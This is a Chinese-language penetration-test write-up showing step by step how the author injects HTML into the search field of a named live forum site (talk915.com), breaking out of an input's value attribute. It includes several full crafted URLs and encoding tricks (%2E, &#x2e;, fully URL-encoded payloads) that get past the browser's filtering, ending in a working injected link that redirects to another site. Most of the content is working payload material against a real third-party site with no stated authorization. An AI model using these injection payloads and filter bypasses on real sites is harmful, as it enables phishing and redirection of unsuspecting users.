xss渗透试验（２）

工具：appscan

站点：www.talk915.com

浏览器：IE８，firefox

方法：插入<ahref=””>

由于浏览器在地址内容进行正则的匹配，那么，只能换取一种方式，注入一个超链接标签，而不是直接执行。且这个超链接标签可以诱使用户去点击。

 

由于XSS攻击脚本还是基于html标签补齐。而SearchWhere所在的标签

<input class="search fl"οnkeydοwn="downEnter()" id="searchWhere"name="searchWhere" value=""/>

 

由于输入的内容实际上在value里。比如输入1234，就会变成

<input class="search fl" οnkeydοwn="downEnter()" id="searchWhere" name="searchWhere" value="1234"/>

 

那么，假如输入的内容是

1234"><a href=http://www.bing.com>more result</a>

就会变成

<input class="search fl" οnkeydοwn="downEnter()" id="searchWhere" name="searchWhere" value="1234"><a href=http://www.bing.com>more result</a>"/>

测试一下

firefox:

IE8:

效果不是很好。

把输入内容改为

1234"><a href=http://www.bing.com>more result</a><a href="

测试结果：

IE8：

firefox：

说明这个内容是OK的。

 

可以拼URL

http://www.talk915.com/forum/forum_community.action?struts.token.name=token&token=G2TQIXRNK8P5ZD8YNR6A2YHST2P0JU7W&title=&author=&content=&titles=&titleType=&forumId=&orderBy=&excellent=&selectTitle=&page.currentPage=1&postForumId=&postContent=&postAdd=&postId=&oldForumId=&openPost=&postAudio=&postAudioLength=&postStatus=&img_url_length=64&expression_url_length=46&upload_url=http%3A%2F%2Fwww.talk915.com%3A13148%2FresourceProxy%2FfdfsUpload&download_url=http%3A%2F%2Fwww.talk915.com%3A13148%2FresourceProxy%2FfdfsDownload%3FFILE_ID%3D&pathUrl=http%3A%2F%2Fwww.talk915.com%3A80%2F&userToken=&searchWhere=1234"><a href=http://www.bing.com>moreresult</a><a href="&forumListId=4&selectForumId=1&postTitle=1234

firefox:

IE8:

且那个超链接变成：

<input class="searchfl" οnkeydοwn="downEnter()" id="searchWhere" name="searchWhere" value="1234"><a href=http://www#bing#com>more result</a><a href=""/>

 

可以拼URL一下，把点改成%2E

http://www.talk915.com/forum/forum_community.action?struts.token.name=token&token=G2TQIXRNK8P5ZD8YNR6A2YHST2P0JU7W&title=&author=&content=&titles=&titleType=&forumId=&orderBy=&excellent=&selectTitle=&page.currentPage=1&postForumId=&postContent=&postAdd=&postId=&oldForumId=&openPost=&postAudio=&postAudioLength=&postStatus=&img_url_length=64&expression_url_length=46&upload_url=http%3A%2F%2Fwww.talk915.com%3A13148%2FresourceProxy%2FfdfsUpload&download_url=http%3A%2F%2Fwww.talk915.com%3A13148%2FresourceProxy%2FfdfsDownload%3FFILE_ID%3D&pathUrl=http%3A%2F%2Fwww.talk915.com%3A80%2F&userToken=&searchWhere=1234"><a href=http://www%2Ebing%2Ecom>moreresult</a><a href="&forumListId=4&selectForumId=1&postTitle=1234

IE8仍然是一样的提示。

 

把%2E变成&#x2e;，再尝试一下：

http://www.talk915.com/forum/forum_community.action?struts.token.name=token&token=G2TQIXRNK8P5ZD8YNR6A2YHST2P0JU7W&title=&author=&content=&titles=&titleType=&forumId=&orderBy=&excellent=&selectTitle=&page.currentPage=1&postForumId=&postContent=&postAdd=&postId=&oldForumId=&openPost=&postAudio=&postAudioLength=&postStatus=&img_url_length=64&expression_url_length=46&upload_url=http%3A%2F%2Fwww.talk915.com%3A13148%2FresourceProxy%2FfdfsUpload&download_url=http%3A%2F%2Fwww.talk915.com%3A13148%2FresourceProxy%2FfdfsDownload%3FFILE_ID%3D&pathUrl=http%3A%2F%2Fwww.talk915.com%3A80%2F&userToken=&searchWhere=1234"><ahref=http://www&#2e;bing&#x2e;com>more result</a><ahref="&forumListId=4&selectForumId=1&postTitle=1234

 

IE8：

超链接不见了。说明它对http://之类的正则可能也有筛选。

 

通过appscan的一个工具，把URL拼成这样

http://www.talk915.com/forum/forum_community.action?struts.token.name=token&token=G2TQIXRNK8P5ZD8YNR6A2YHST2P0JU7W&title=&author=&content=&titles=&titleType=&forumId=&orderBy=&excellent=&selectTitle=&page.currentPage=1&postForumId=&postContent=&postAdd=&postId=&oldForumId=&openPost=&postAudio=&postAudioLength=&postStatus=&img_url_length=64&expression_url_length=46&upload_url=http%3A%2F%2Fwww.talk915.com%3A13148%2FresourceProxy%2FfdfsUpload&download_url=http%3A%2F%2Fwww.talk915.com%3A13148%2FresourceProxy%2FfdfsDownload%3FFILE_ID%3D&pathUrl=http%3A%2F%2Fwww.talk915.com%3A80%2F&userToken=&searchWhere=1234"%20%2f%3e%3ca+href%3d%22http%3a%2f%2fwww%26%23x2e;bing%26%23x2e;com%22%3emore+result%3c%2fa%3e%3ca+href%3d%22&forumListId=4&selectForumId=1&postTitle=1234

测试一下：

点击more result可以跳转到bing.com